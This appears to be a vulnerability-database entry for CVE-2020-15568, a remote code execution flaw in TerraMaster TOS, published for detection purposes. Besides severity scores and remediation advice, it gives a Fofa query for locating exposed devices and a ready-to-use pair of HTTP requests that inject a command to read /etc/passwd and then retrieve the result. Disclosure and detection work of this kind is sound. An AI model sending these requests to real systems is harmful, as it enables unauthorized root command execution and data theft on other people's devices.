🔙 목록으로 돌아가기

CVE-2020-15568: TerraMaster TOS <.1.29 - Remote Code Execution

TitleTerraMaster TOS <.1.29 - Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93438
CVE IDCVE-2020-15568
CWE IDCWE-913
Fofa Query"terramaster" && header="tos"
Tags cve2020 cve terramaster rce terra-master vkev vuln

🔍 Vulnerability Description

TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.

🌐 HTTP Request

GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3EfdBtTPng.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
GET /include/fdBtTPng.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15568.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-15568.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A